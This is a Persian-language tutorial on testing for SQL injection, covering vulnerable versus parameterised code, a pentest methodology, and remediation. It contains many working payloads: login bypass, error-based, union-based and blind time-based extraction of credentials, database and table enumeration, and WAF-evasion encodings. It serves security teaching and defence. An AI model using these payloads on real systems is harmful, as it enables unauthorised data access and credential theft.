تست SQL Injection

SQL Injection چیست؟

SQL Injection (SQLi) یکی از قدیمی‌ترین و خطرناک‌ترین آسیب‌پذیری‌های وب است. در این آسیب‌پذیری، مهاجم می‌تواند دستورات SQL مخرب را از طریق ورودی‌های برنامه به پایگاه داده تزریق کند.

سطح ۱: مبانی — درک فنی آسیب‌پذیری

چرا SQL Injection وجود دارد؟

SQL Injection زمانی رخ می‌دهد که برنامه ورودی کاربر را مستقیماً در ساختار query SQL قرار می‌دهد. مشکل اصلی ترکیب کد و داده در یک رشته واحد است. وقتی برنامه‌نویس کد SQL و داده‌های کاربر را در یک رشته ترکیب می‌کند، موتور SQL نمی‌تواند تشخیص دهد کدام بخش کد است و کدام بخش داده.

1# کد آسیب‌پذیر - ترکیب کد و داده
2query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
3
4# اگر کاربر وارد کند: admin' --
5# query تبدیل می‌شود به:
6# SELECT * FROM users WHERE username='admin' --' AND password=''
7# بخش password نادیده گرفته می‌شود!

1# کد امن - جداسازی کد و داده
2query = "SELECT * FROM users WHERE username=? AND password=?"
3cursor.execute(query, (username, password))
4# داده‌ها همیشه به‌عنوان داده تفسیر می‌شوند

معماری اجرای SQL

برای درک SQL Injection، باید بدانید چگونه یک query اجرا می‌شود: ۱) برنامه query را می‌سازد، ۲) query به پایگاه داده ارسال می‌شود، ۳) موتور SQL query را تجزیه (parse) می‌کند، ۴) طرح اجرا (execution plan) ساخته می‌شود، ۵) query اجرا می‌شود، ۶) نتیجه برمی‌گردد. مشکل در مرحله ۱ رخ می‌دهد: وقتی ورودی کاربر قبل از تجزیه به query اضافه می‌شود.

نقاط ورودی رایج

• پارامترهای URL (query strings)
• فیلدهای فرم (POST data)
• هدرهای HTTP (Cookie, User-Agent, Referer)
• فایل‌های آپلود شده (نام فایل، محتوا)
• پارامترهای API (JSON, XML)
• GraphQL queries
• پارامترهای مسیر (path parameters)

سطح ۲: تست حرفه‌ای

روش‌شناسی تست جامع

تست حرفه‌ای SQL Injection شامل مراحل ساختاریافته زیر است:

1. شناسایی تمام نقاط ورودی (input discovery)
2. تحلیل رفتار عادی برنامه (baseline behavior)
3. تست با payload‌های ساده برای شناسایی آسیب‌پذیری
4. شناسایی نوع پایگاه داده (DBMS fingerprinting)
5. تعیین تعداد ستون‌ها (column enumeration)
6. شناسایی نوع داده ستون‌ها (data type identification)
7. استخراج اطلاعات (data extraction)
8. ارزیابی تأثیر (impact assessment)
9. جمع‌آوری شواهد (evidence collection)

شناسایی نوع Injection

تست Error-based SQL Injection

1-- MySQL: استخراج نسخه
2' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
3
4-- MySQL: استخراج نام کاربری
5' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT user()))) --
6
7-- SQL Server: استخراج نسخه
8' AND 1=CONVERT(int, @@version) --
9
10-- PostgreSQL: استخراج نسخه
11' AND 1=CAST((SELECT version()) AS int) --

تست Union-based SQL Injection

1-- مرحله ۱: تعیین تعداد ستون‌ها
2' ORDER BY 1 --
3' ORDER BY 2 --
4' ORDER BY 3 --
5... تا خطایی رخ دهد
6
7-- مرحله ۲: شناسایی ستون‌های قابل نمایش
8' UNION SELECT NULL,NULL,NULL --
9
10-- مرحله ۳: استخراج داده
11' UNION SELECT username,password,NULL FROM users --

تست Blind SQL Injection

1-- Boolean-based: بررسی تفاوت پاسخ
2' AND 1=1 --  # پاسخ عادی
3' AND 1=2 --  # پاسخ متفاوت
4
5-- Boolean-based: استخراج داده
6' AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a' --
7
8-- Time-based: استخراج با تأخیر
9' AND IF(SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a',SLEEP(5),0) --
10
11-- PostgreSQL time-based
12'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users --

شناسایی نوع پایگاه داده

1-- MySQL
2' UNION SELECT @@version --
3
4-- SQL Server
5' UNION SELECT @@version --
6
7-- Oracle
8' UNION SELECT banner FROM v$version WHERE ROWNUM=1 --
9
10-- PostgreSQL
11' UNION SELECT version() --
12
13-- SQLite
14' UNION SELECT sqlite_version() --

استخراج اطلاعات پایگاه داده

1-- MySQL: لیست جداول
2' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() --
3
4-- MySQL: لیست ستون‌ها
5' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --
6
7-- SQL Server: لیست جداول
8' UNION SELECT name FROM sysobjects WHERE xtype='U' --
9
10-- Oracle: لیست جداول
11' UNION SELECT table_name FROM all_tables WHERE ROWNUM=1 --

تحلیل پاسخ و شواهد

در تست حرفه‌ای، هر پاسخ باید مستند شود:

• درخواست HTTP کامل (headers, parameters, body)
• پاسخ HTTP کامل (status code, headers, body)
• تفاوت بین پاسخ عادی و پاسخ آسیب‌پذیر
• تأثیر مشاهده شده (data leak, error, delay)
• شرایط بازتولید (reproduction steps)

سطح ۳: پیشرفته

Second-order SQL Injection

در Second-order SQL Injection، ورودی مخرب در ابتدا ذخیره می‌شود و سپس در query بعدی بدون فیلتر استفاده می‌شود. این نوع Injection پیچیده‌تر است زیرا نقطه ورود و نقطه اجرا متفاوت هستند.

1-- مرحله ۱: ثبت‌نام با نام کاربری مخرب
2INSERT INTO users (username) VALUES ('admin''--')
3
4-- مرحله ۲: ورود با نام کاربری ذخیره‌شده
5SELECT * FROM users WHERE username='admin'--' AND password='...'
6-- بخش password نادیده گرفته می‌شود!

SQL Injection در context‌های مختلف

SQL Injection در ORM‌ها

ORM‌ها (Object-Relational Mapping) معمولاً از Prepared Statements استفاده می‌کنند، اما اگر از raw query استفاده شود، ممکن است آسیب‌پذیر باشند:

1# Django ORM - آسیب‌پذیر
2User.objects.raw(f"SELECT * FROM users WHERE username='{username}'")
3
4# Django ORM - امن
5User.objects.filter(username=username)
6
7# SQLAlchemy - آسیب‌پذیر
8session.execute(f"SELECT * FROM users WHERE username='{username}'")
9
10# SQLAlchemy - امن
11session.execute(text("SELECT * FROM users WHERE username=:username"), {"username": username})

WAF Bypass تکنیک‌ها

Web Application Firewallها ممکن است payload‌های ساده را فیلتر کنند. تکنیک‌های دور زدن WAF:

1-- استفاده از comment برای شکستن کلمات کلیدی
2UN/**/ION SEL/**/ECT
3
4-- استفاده از encoding
5%27%20OR%201%3D1%20--
6
7-- استفاده از case variation
8uNiOn SeLeCt
9
10-- استفاده از whitespace‌های جایگزین
11'%09OR%091=1%09--
12
13-- استفاده از double encoding
14%2527%2520OR%25201=1%2520--

Race Condition در SQL Injection

در برخی سناریوها، مهاجم می‌تواند از race condition برای تغییر داده‌ها قبل از اجرای query استفاده کند. این تکنیک پیشرفته نیاز به درک عمیق از مدیریت تراکنش‌ها دارد.

تحلیل زنجیره حمله

SQL Injection می‌تواند با سایر آسیب‌پذیری‌ها ترکیب شود:

• SQL Injection → دور زدن احراز هویت → دسترسی مدیریتی
• SQL Injection → استخراج داده → IDOR → دسترسی به داده‌های سایر کاربران
• SQL Injection → اجرای دستور → RCE → کنترل کامل سرور
• SQL Injection → استخراج رمز → Credential Stuffing → حمله به سایر سرویس‌ها

جمع‌آوری شواهد حرفه‌ای

شواهد قوی شامل موارد زیر است:

• درخواست HTTP کامل با تمام هدرها و پارامترها
• پاسخ HTTP کامل با status code و هدرها
• اسکرین‌شات از تفاوت رفتار برنامه
• نسخه پایگاه داده استخراج شده
• لیست جداول و ستون‌های قابل دسترسی
• نمونه داده‌های استخراج شده (بدون اطلاعات واقعی)
• مراحل بازتولید دقیق

مثبت کاذب و منفی کاذب

مثبت کاذب (False Positive)

• پیام خطای پایگاه داده بدون امکان بهره‌برداری
• رفتار عادی برنامه که شبیه Injection به نظر می‌رسد
• فیلترهای ناقص که فقط بخشی از payload را فیلتر می‌کنند

منفی کاذب (False Negative)

• Blind SQL Injection که با payload ساده شناسایی نمی‌شود
• Second-order Injection که در نقطه ورود قابل تشخیص نیست
• WAF که payload را فیلتر می‌کند اما Injection وجود دارد

تأثیر

• دسترسی غیرمجاز به تمام داده‌های پایگاه داده
• تغییر یا حذف داده‌ها
• اجرای دستورات سیستمی (در برخی پایگاه‌های داده)
• دور زدن احراز هویت
• دسترسی به فایل‌های سیستم
• حرکت جانبی به سایر سیستم‌ها

راه‌حل‌های پیشرفته

معماری امن

• استفاده از Prepared Statements در تمام لایه‌ها
• جداسازی پایگاه داده از برنامه (database segmentation)
• استفاده از حداقل دسترسی (least privilege)
• غیرفعال کردن توابع خطرناک پایگاه داده
• استفاده از ORM‌های شناخته‌شده با تنظیمات امن

کنترل‌های فنی

• Prepared Statements و Parameterized Queries
• Stored Procedures (با احتیاط)
• Input Validation در سمت سرور
• Output Encoding
• Web Application Firewall (WAF)
• Database Activity Monitoring (DAM)
• Rate Limiting
• Logging و Monitoring

پیکربندی امن پایگاه داده

• غیرفعال کردن نمایش پیام‌های خطای پایگاه داده
• محدود کردن دسترسی کاربر پایگاه داده
• رمزنگاری داده‌های حساس
• پشتیبان‌گیری منظم و امن
• بروزرسانی منظم پایگاه داده